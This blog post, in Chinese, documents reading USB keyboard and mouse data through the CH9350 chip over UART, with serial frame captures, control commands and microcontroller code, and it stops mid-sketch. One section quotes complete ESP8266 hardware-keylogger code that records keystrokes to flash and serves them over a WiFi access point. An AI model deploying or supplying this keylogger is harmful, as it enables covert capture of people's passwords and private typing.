• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
MKT-porter
博客园    首页    新随笔    联系   管理    订阅  订阅
单片机读取键鼠数据串口

 

参开教程

https://oshwhub.com/Zoologist/esp32-shi-

 

未来理想

kmbox板子是这个配置ESP32+CH374U

 

硬件

CH9350

下位机状态下可以键鼠转串口 

上位机状态下可以串口转键鼠,即模拟键鼠,

https://item.taobao.com/item.htm?_u=j1qf7bf595a4&id=597054931384

USB免驱动 Uart转HID 安卓模拟键盘鼠标 CH9329

串口转键鼠

https://item.taobao.com/item.htm?_u=j1qf7bf5e656&id=678502725576

 

 

 

1 调试

硬件设置

默认在下位机和工作做状态0 接收的是原始数据

工作状态2 输出的是相对位移

可以通过硬件开关选择在什么模式

 

 

 惠普机械键盘测试用不了

 

 

 

 

 

打开串口调试助手

 

 不断打印的是状态请求帧,若不想要可以给模块发命令取消这个打印。

 

 

 

 

 

 

 

 

 

 设置数据

1 关闭状态帧

1.初始化时,使用下面的代码对于 CH9350 发送数据,这样 Ch9350只会发送有效的信息(就是说鼠标键盘有动作才会有数据出来)。

 

 

 单片机代码

  char SwitchToMode1[] = {0x57, 0xAB, 0x12, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x80, 0x00, 0x20};

  for (int i = 0; i < sizeof(SwitchToMode1); i++) {

    Serial2.write(SwitchToMode1[i]);

  }

 

调试助手

 

 

57 AB 12 00 00 00 00 FF 80 00 20

  

1-1 工作状态模式选择

默认模式0  输出键鼠原始数据

模式2

 

 

 

 

2 数据解析

 样例

  1- 帧头  2-  0状态命令吗   3-后面数据长度    4-鼠标 端口2     5-键值                                        6-序号   7-字节校验 

57 AB   88            0A              0010 0001    01 00 00 00 00 00 00        55   按键数值+序列号  01+55=56
57 AB 88 0A 21 01 00 00 00 00 00 00 55 56 
57 AB 88 0A 21 00 00 00 00 00 00 00 56 56

  

 

 

 

 

 有效键值帧参数介绍:

数据长度小于72字节,数据帧之间的发送间隔与所接设备属性有关,数据转发时按照实际的数据帧间隔发送。

1帧头  57 AB

2命令码:

下位机模式和上位机模式工作在状态1时命令码为0x83;

下位机模式工作在状态0时命令码为0x88,单独使用或用于KM热键切换应用中未与上位机端CH9350L建立通讯之前的热键检测,该数据不会被上位机端CH9350L传输给主机。

3键值:

下位机模式    状态0为键盘、鼠标原始的数据,

                      状态1为带有ID的键盘、鼠标数据;

上位机模式    状态0能接收的键值数据同状态2中的键值数据;

                      状态1能接收下位机端状态1发送的键值数据。 

 

 

 

鼠标操作

 

鼠标移动 

模式0应该是绝对

 

 

 

左键按下和弹起

 

  帧头        0状态命令吗  后面数据长度   鼠标 端口2     数据                                           序号   字节校验 

57 AB   88           0A         0010 0001    01 00 00 00 00 00 00        55   按键数值+序列号  01+55=56
57 AB 88 0A 21 01 00 00 00 00 00 00 55 56 
57 AB 88 0A 21 00 00 00 00 00 00 00 56 56

  

右键按下和弹起

 

 

 

57 AB 88 0A 21 02 00 00 00 00 00 00 5B 5D 
57 AB 88 0A 21 00 00 00 00 00 00 00 5C 5C
57 AB 88 0A 21 02 00 00 00 00 00 00 5D 5F
57 AB 88 0A 21 00 00 00 00 00 00 00 5E 5E 

  

滑轮按下和弹起

 

 

57 AB 88 0B 21 01 04 00 00 00 00 00 00 46 4B
57 AB 88 0B 21 01 00 00 00 00 00 00 00 47 48 
57 AB 88 0B 21 01 04 00 00 00 00 00 00 48 4D 
57 AB 88 0B 21 01 00 00 00 00 00 00 00 49 4A
57 AB 88 0B 21 01 04 00 00 00 00 00 00 4A 4F 
57 AB 88 0B 21 01 00 00 00 00 00 00 00 4B 4C 
57 AB 88 0B 21 01 04 00 00 00 00 00 00 4C 51

  

滑轮往前

 

 

57 AB 88 0B 21 01 00 00 00 00 00 01 00 93 95 57 AB 88 0B 21 01 00 00 00 00 00 00 00 94 95 
57 AB 88 0B 21 01 00 00 00 00 00 01 00 95 97 57 AB 88 0B 21 01 00 00 00 00 00 00 00 96 97
57 AB 88 0B 21 01 00 00 00 00 00 01 00 97 99 57 AB 88 0B 21 01 00 00 00 00 00 00 00 98 99
57 AB 88 0B 21 01 00 00 00 00 00 01 00 99 9B 57 AB 88 0B 21 01 00 00 00 00 00 00 00 9A 9B
57 AB 88 0B 21 01 00 00 00 00 00 01 00 9B 9D 57 AB 88 0B 21 01 00 00 00 00 00 00 00 9C 9D 
57 AB 88 0B 21 01 00 00 00 00 00 01 00 9D 9F 57 AB 88 0B 21 01 00 00 00 00 00 00 00 9E 9F

 

滑轮往后

 

 

[12:30:43.649]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 57 57 57 AB 88 0B 21 01 00 00 00 00 00 00 00 58 59 
[12:30:43.704]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 59 59 57 AB 88 0B 21 01 00 00 00 00 00 00 00 5A 5B 
[12:30:44.230]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 5B 5B 57 AB 88 0B 21 01 00 00 00 00 00 00 00 5C 5D 
[12:30:44.623]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 5D 5D 57 AB 88 0B 21 01 00 00 00 00 00 00 00 5E 5F 
[12:30:44.717]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 5F 5F 57 AB 88 0B 21 01 00 00 00 00 00 00 00 60 61 
[12:30:45.016]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 61 61 57 AB 88 0B 21 01 00 00 00 00 00 00 00 62 63 
[12:30:45.088]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 63 63 57 AB 88 0B 21 01 00 00 00 00 00 00 00 64 65 
[12:30:45.372]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 65 65 57 AB 88 0B 21 01 00 00 00 00 00 00 00 66 67 
[12:30:45.417]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 67 67 57 AB 88 0B 21 01 00 00 00 00 00 00 00 68 69 
[12:30:45.726]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 69 69 57 AB 88 0B 21 01 00 00 00 00 00 00 00 6A 6B 
[12:30:45.758]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 6B 6B 57 AB 88 0B 21 01 00 00 00 00 00 00 00 6C 6D 
[12:30:45.816]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 6D 6D 57 AB 88 0B 21 01 00 00 00 00 00 00 00 6E 6F 
[12:30:46.105]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 6F 6F 57 AB 88 0B 21 01 00 00 00 00 00 00 00 70 71 
[12:30:46.142]收←◆57 AB 88 0B 21 01 00 00 00 00 00 FF 00 71 71 57 AB 88 0B 21 01 00 00 00 00 00 00 00 72 73 

  

鼠标左侧前按键按下和弹起

 

 

[12:32:44.632]收←◆57 AB 88 0B 21 01 10 00 00 00 00 00 00 BD CE 
[12:32:44.752]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 BE BF 
[12:32:44.832]收←◆57 AB 88 0B 21 01 10 00 00 00 00 00 00 BF D0 
[12:32:44.952]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 C0 C1 
[12:32:45.228]收←◆57 AB 88 0B 21 01 10 00 00 00 00 00 00 C1 D2 
[12:32:45.321]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 C2 C3 
[12:32:45.408]收←◆57 AB 88 0B 21 01 10 00 00 00 00 00 00 C3 D4 
[12:32:45.492]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 C4 C5 
[12:32:45.841]收←◆57 AB 88 0B 21 01 10 00 00 00 00 00 00 C5 D6 
[12:32:45.916]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 C6 C7 
[12:32:45.988]收←◆57 AB 88 0B 21 01 10 00 00 00 00 00 00 C7 D8 
[12:32:46.081]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 C8 C9 
[12:32:46.312]收←◆57 AB 88 0B 21 01 10 00 00 00 00 00 00 C9 DA 
[12:32:46.408]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 CA CB 
[12:32:46.473]收←◆57 AB 88 0B 21 01 10 00 00 00 00 00 00 CB DC 
[12:32:46.544]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 CC CD 

  

 

鼠标左侧后按键按下和弹起

 

 

[12:33:59.242]收←◆57 AB 88 0B 21 01 08 00 00 00 00 00 00 01 0A 
[12:33:59.382]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 02 03 
[12:33:59.666]收←◆57 AB 88 0B 21 01 08 00 00 00 00 00 00 03 0C 
[12:33:59.782]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 04 05 
[12:34:00.013]收←◆57 AB 88 0B 21 01 08 00 00 00 00 00 00 05 0E 
[12:34:00.106]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 06 07 
[12:34:00.301]收←◆57 AB 88 0B 21 01 08 00 00 00 00 00 00 07 10 
[12:34:00.422]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 08 09 
[12:34:00.554]收←◆57 AB 88 0B 21 01 08 00 00 00 00 00 00 09 12 
[12:34:00.646]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 0A 0B 
[12:34:00.778]收←◆57 AB 88 0B 21 01 08 00 00 00 00 00 00 0B 14 
[12:34:00.902]收←◆57 AB 88 0B 21 01 00 00 00 00 00 00 00 0C 0D 

  

鼠标右侧两个按键没作用

鼠标滑轮后 两个按键 不记录了 数据超级长

 

 

 

鼠标移动

 

 

 

[12:37:22.188]收←◆57 AB 88 0B 21 01 00 00 00 FF FF 00 00 74 73 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 75 74 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 76 75 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 77 77 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 78 78 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 79 78 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 7A 79 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 7B 7A 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 7C 7C 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 7D 7C 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 7E 7E 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 7F 7D 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 80 80 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 81 81 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 82 82 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 83 82 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 84 83 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 85 84 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 86 85 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 87 87 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 88 87 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 89 89 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 8A 89 57 AB 88 0B 21 01 00 01 00 00 00 00 00 8B 8D 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 8C 8B 57 AB 88 0B 21 01 00 01 00 00 00 00 00 8D 8F 
[12:37:23.537]收←◆57 AB 88 0B 21 01 00 00 00 FF FF 00 00 8E 8D 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 8F 8E 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 90 8F 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 91 90 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 92 91 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 93 92 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 94 94 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 95 94 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 96 95 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 97 97 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 98 97 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 99 99 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 9A 99 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 9B 99 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 9C 9C 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 9D 9D 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 9E 9D 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 9F 9E 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 A0 9F 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A1 9F 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 A2 A1 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 A3 A2 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 A4 A3 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A5 A3 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A6 A4 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A7 A5 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A8 A6 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A9 A7 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AA A8 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AB A9 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AC AA 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AD AB 57 AB 88 0B 21 01 00 01 00 FC FF 00 00 AE AB 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AF AD 57 AB 88 0B 21 01 00 01 00 FC FF 00 00 B0 AD 57 AB 88 0B 21 01 00 01 00 FC FF 00 00 B1 AE 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B2 B0 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B3 B1 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B4 B2 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B5 B3 57 AB 88 0B 21 01 00 01 00 FC FF 00 00 B6 B3 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B7 B5 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B8 B6 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B9 B7 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 BA B7 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 BB B9 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 BC BB 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 BD BA 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 BE BC 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 BF BE 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 C0 BF 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 C1 C1 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 C2 C2 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 C3 C2 57 AB 88 0B 21 01 00 01 00 00 00 00 00 C4 C6 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 C5 C4 57 AB 88 0B 21 01 00 01 00 00 00 00 00 C6 C8 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 C7 C6 57 AB 88 0B 21 01 00 01 00 00 00 00 00 C8 CA 
[12:37:24.690]收←◆57 AB 88 0B 21 01 00 00 00 FF FF 00 00 C9 C8 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CA C9 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CB CA 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CC CB 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CD CC 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 CE CC 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CF CE 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 D0 D0 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 D1 D0 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D2 D0 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D3 D1 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 D4 D3 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 D5 D3 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D6 D4 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D7 D5 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D8 D6 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D9 D7 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 DA D8 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 DB D9 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 DC D9 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 DD DA 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 DE DB 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 DF DD 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 E0 DD 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 E1 DE 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E2 DE 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E3 DF 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E4 E0 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E5 E1 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E6 E2 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 E7 E4 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E8 E4 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 E9 E6 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 EA E6 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 EB E7 57 AB 88 0B 21 01 00 FF FF FC FF 00 00 EC E6 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 ED E9 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 EE EB 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 EF EB 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 F0 EC 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 F1 ED 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 F2 EF 57 AB 88 0B 21 01 00 FF FF FC FF 00 00 F3 ED 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F4 F2 57 AB 88 0B 21 01 00 FF FF FD FF 00 00 F5 F0 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F6 F4 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F7 F5 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F8 F6 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F9 F7 57 AB 88 0B 21 01 00 FF FF FE FF 00 00 FA F6 57 AB 88 0B 21 01 00 FF FF FE FF 00 00 FB F7 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 FC FA 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 FD FA 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 FE FD 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 FF FD 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 00 FF 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 01 FE 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 02 01 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 03 02 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 04 01 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 05 02 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 06 05 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 07 06 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 08 07 57 AB 88 0B 21 01 00 FF FF 00 00 00 00 09 08 57 AB 88 0B 21 01 00 FF FF 00 00 00 00 0A 09 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 0B 08 57 AB 88 0B 21 01 00 FF FF 00 00 00 00 0C 0B 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 0D 0C 57 AB 88 0B 21 01 00 FF FF 00 00 00 00 0E 0D 

  

 键盘数据测试

 

 

1 设置键盘状态

有的键盘插上去,需要电脑端给与开启命名

比如惠普的机械键盘,插上去灯全黑,按键也没反应。

串口发送

全亮

57 AB 12 00 00 00 00 07 07 AC 20

  、

键盘指示灯和大小写和流水灯全亮,然后按键才有反应。

普通的键盘不需要。

 

控制命令解析

 

 

 

停止输出状态信息

57 AB 12 00 00 00 00 FF 80 00 20

  

不同的灯和功能开启

只亮大小写  开启大写

57 AB 12 00 00 00 00 02 07 AC 20

全不亮

57 AB 12 00 00 00 00 00 07 AC 20

只亮键盘灯 滚动

57 AB 12 00 00 00 00 04 07 AC 20

全不亮

57 AB 12 00 00 00 00 00 07 AC 20

只亮小键盘锁定  没反应??

57 AB 12 00 00 00 00 01 07 AC 20

全不亮

57 AB 12 00 00 00 00 00 07 AC 20

小键盘锁定和滚动   这次小键盘锁定灯亮了

57 AB 12 00 00 00 00 05 07 AC 20

全亮

57 AB 12 00 00 00 00 07 07 AC 20

  

一般上电主动给键盘发送全亮,确保键盘起作用。

 

2 读取键盘数据

 截取到的是 USB 键盘的数据,帧格式一般是这样的:

前面 6 位都是固定的,后面的 8 位是标准的 USB 键盘数据,最后 2 位是序列号和校验。

57 AB 83 0C 12 01 00 00 04 00 00 00 00 00 12 17   // A键被按下

57 AB 83 0C 12 01 00 00 00 00 00 00 00 00 13 14   // 按键被放开

  

 

 

 大写ABCD

 

小写abcd

 

 

 

 大小写无法用键盘开启了

shift就是shift按键,不能切换大小写。

 

 

 

 程序

 

#

  

按键程序控制

https://oshwhub.com/Zoologist/esp32-shi-

  // 设置接收数据回调函数

// 数据接收回调函数
void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) {
  char *Starter = (char*)incomingData;
  if (len>72) {return;}
  
  while (Starter < (char *)(incomingData+len)) {
    if (verifyData((char*)Starter, Starter[3]+4)) {
      
      for (int i = 0; i < Starter[3]+4; i++) {
        Serial.print(Starter[i], HEX);
         Serial.print(" ");
      }
       Serial.println(" ");
      // 如果是鼠标 
      if (((Starter[4] >> 4) & 0x3) == 0x2) {
        device.directMS((char *)&Starter[5]);
      }
      //如果是键盘
      if ((((Starter[4] >> 4) & 0x3) == 0x3)||(((Starter[4] >> 4) & 0x3) == 0x1)) {
        device.directKB((char *)&Starter[5]);
      }
      
    }
    Starter=&Starter[Starter[3]+4];
  }//while (Start < (incomingDatalen))
}

ESP8266读取鼠标键盘程序  

https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/IOT/%E7%A1%AC%E4%BB%B6%E5%AE%89%E5%85%A8/HID/HID-USBKeylogger.md

 

 

 

 

 

 

 

 

 

 我们要使用 CH9350 将 USB 键盘的 HID 协议转为 UART 协议,使用 ESP8266 解析和记录键盘输入内容,并且提供 WI-FI 访问功能,电路图和 PCB 图如下:

 

 

  • 正中央的两颗芯片是 CH9350。根据官方使用手册,使用两颗 CH9350 分别作为连接键盘的下位机和连接电脑的上位机,统一使用 3.3V 降压模块进行供电。
#include <ESP8266WiFi.h>
#include <FS.h>
#include <ESPAsyncTCP.h>
#include <ESPAsyncWebServer.h>

const char *ssid = "USBKeyLogger";
const char *password = "12345678";

AsyncWebServer server(80);
File logFile;

void setup() {
  Serial.begin(115200);
  WiFi.mode(WIFI_STA);
  WiFi.softAP(ssid,password);
  SPIFFS.begin();
  logFile = SPIFFS.open("/keyLog.txt", "a+");

  server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){
    request->send(SPIFFS, "/keyLog.txt", "text/plain");
  });

  server.on("/clear", HTTP_GET, [](AsyncWebServerRequest *request){
    logFile.close();
    logFile = SPIFFS.open("/keyLog.txt", "w");
    request->send(200, "text/plain", "Log File Cleared!");
  });

  server.begin();
}

void loop() {
  while (Serial.available() > 0) {
    //57 AB 83 0C 12 01 00 00 04 00 00 00 00 00 12 17
    if (Serial.read() == 0x83){
      delay(10);
      if (Serial.read() == 0x0C){
        delay(10);
        if (Serial.read() == 0x12){
          delay(10);
          if (Serial.read() == 0x01){
            delay(10);
            Serial.read();
            delay(10);
            Serial.read();
            delay(10);
            logFile.print(getKey(Serial.read()));
          }
        }
      }
    }
  }
}

String getKey(int serialData){
  if(serialData==0x00){return "";}
  if(serialData==0x04){return "A";}
  if(serialData==0x05){return "B";}
  if(serialData==0x06){return "C";}
  if(serialData==0x07){return "D";}
  if(serialData==0x08){return "E";}
  if(serialData==0x09){return "F";}
  if(serialData==0x0A){return "G";}
  if(serialData==0x0B){return "H";}
  if(serialData==0x0C){return "I";}
  if(serialData==0x0D){return "J";}
  if(serialData==0x0E){return "K";}
  if(serialData==0x0F){return "L";}
  if(serialData==0x10){return "M";}
  if(serialData==0x11){return "N";}
  if(serialData==0x12){return "O";}
  if(serialData==0x13){return "P";}
  if(serialData==0x14){return "Q";}
  if(serialData==0x15){return "R";}
  if(serialData==0x16){return "S";}
  if(serialData==0x17){return "T";}
  if(serialData==0x18){return "U";}
  if(serialData==0x19){return "V";}
  if(serialData==0x1A){return "W";}
  if(serialData==0x1B){return "X";}
  if(serialData==0x1C){return "Y";}
  if(serialData==0x1D){return "Z";}
  if(serialData==0x1E){return "[1 or !]";}
  if(serialData==0x1F){return "[2 or @]";}
  if(serialData==0x20){return "[3 or #]";}
  if(serialData==0x21){return "[4 or $]";}
  if(serialData==0x22){return "[5 or %]";}
  if(serialData==0x23){return "[6 or ^]";}
  if(serialData==0x24){return "[7 or &]";}
  if(serialData==0x25){return "[8 or *]";}
  if(serialData==0x26){return "[9 or (]";}
  if(serialData==0x27){return "[10 or )]";}
  if(serialData==0x28){return "[ENTER]";}
  if(serialData==0x29){return "[ESC]";}
  if(serialData==0x2A){return "[BACKSPACE]";}
  if(serialData==0x2B){return "[TAB]";}
  if(serialData==0x2C){return "[SPACE]";}
  if(serialData==0x2D){return "[- or _]";}
  if(serialData==0x2E){return "[= or +]";}
  if(serialData==0x2F){return "[[ or {]";}
  if(serialData==0x30){return "[] or }]";}
  if(serialData==0x31){return "[\\ or |]";}
  if(serialData==0x32){return "[` or ~]";}
  if(serialData==0x33){return "[; or :]";}
  if(serialData==0x34){return "[' or ”]";}
  if(serialData==0x35){return "[~ or `]";}
  if(serialData==0x36){return "[, or <]";}
  if(serialData==0x37){return "[. or >]";}
  if(serialData==0x38){return "[/ or ?]";}
  if(serialData==0x39){return "[CAPS]";}
  if(serialData==0x3A){return "[F1]";}
  if(serialData==0x3B){return "[F2]";}
  if(serialData==0x3C){return "[F3]";}
  if(serialData==0x3D){return "[F4]";}
  if(serialData==0x3E){return "[F5]";}
  if(serialData==0x3F){return "[F6]";}
  if(serialData==0x40){return "[F7]";}
  if(serialData==0x41){return "[F8]";}
  if(serialData==0x42){return "[F9]";}
  if(serialData==0x43){return "[F10]";}
  if(serialData==0x44){return "[F11]";}
  if(serialData==0x45){return "[F12]";}
  if(serialData==0x46){return "[PRT_SCR]";}
  if(serialData==0x47){return "[SCOLL_LOCK]";}
  if(serialData==0x48){return "[PAUSE]";}
  if(serialData==0x49){return "[INS]";}
  if(serialData==0x4A){return "[HOME]";}
  if(serialData==0x4B){return "[PAGEUP]";}
  if(serialData==0x4C){return "[DEL]";}
  if(serialData==0x4D){return "[END]";}
  if(serialData==0x4E){return "[PAGEDOWN]";}
  if(serialData==0x4F){return "[RIGHT_ARROW]";}
  if(serialData==0x50){return "[LEFT_ARROW]";}
  if(serialData==0x51){return "[DOWN_ARROW]";}
  if(serialData==0x52){return "[UP_ARROW]";}
  if(serialData==0x53){return "[PAD_NUMLOCK]";}
  if(serialData==0x54){return "[PAD_DIV]";}
  if(serialData==0x55){return "[PAD_MUL]";}
  if(serialData==0x56){return "[PAD_SUB]";}
  if(serialData==0x57){return "[PAD_ADD]";}
  if(serialData==0x58){return "[PAD_ENTER]";}
  if(serialData==0x59){return "[PAD_1]";}
  if(serialData==0x5A){return "[PAD_2]";}
  if(serialData==0x5B){return "[PAD_3]";}
  if(serialData==0x5C){return "[PAD_4]";}
  if(serialData==0x5D){return "[PAD_5]";}
  if(serialData==0x5E){return "[PAD_6]";}
  if(serialData==0x5F){return "[PAD_7]";}
  if(serialData==0x60){return "[PAD_8]";}
  if(serialData==0x61){return "[PAD_9]";}
  if(serialData==0x62){return "[PAD_0]";}
  if(serialData==0x63){return "[PAD_DOT]";}
  if(serialData==0xE0){return "[leftctrl]";}
  if(serialData==0xE2){return "[leftAlt]";}
  if(serialData==0xE1){return "[leftShift]";}
  if(serialData==0xE3){return "[leftwindows]";}
  if(serialData==0xE7){return "[rightwindows]";}
  if(serialData==0xE5){return "[rightShift]";}
  if(serialData==0xE6){return "[rightAlt]";}
  if(serialData==0xE4){return "[rightCtrl]";}
}

  

 

程序1 

ctrl没有搞定 多按键同时按下问题

 

 

鼠标移动 好像只是方向

 

#include <SoftwareSerial.h>


SoftwareSerial mySerial(D2, D1); // D2(RX), D1(TX)




uint8_t  buffer_stopMsg[] = {0x57, 0xAB, 0x12, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x80, 0x00, 0x20};
uint8_t  buffer_keyUse[] = {0x57, 0xAB, 0x12, 0x00, 0x00, 0x00, 0x00, 0x07, 0x07, 0xAC, 0x20};

void setup() {
  
  Serial.begin(115200);
  mySerial.begin(115200);
  Serial.println("\n");
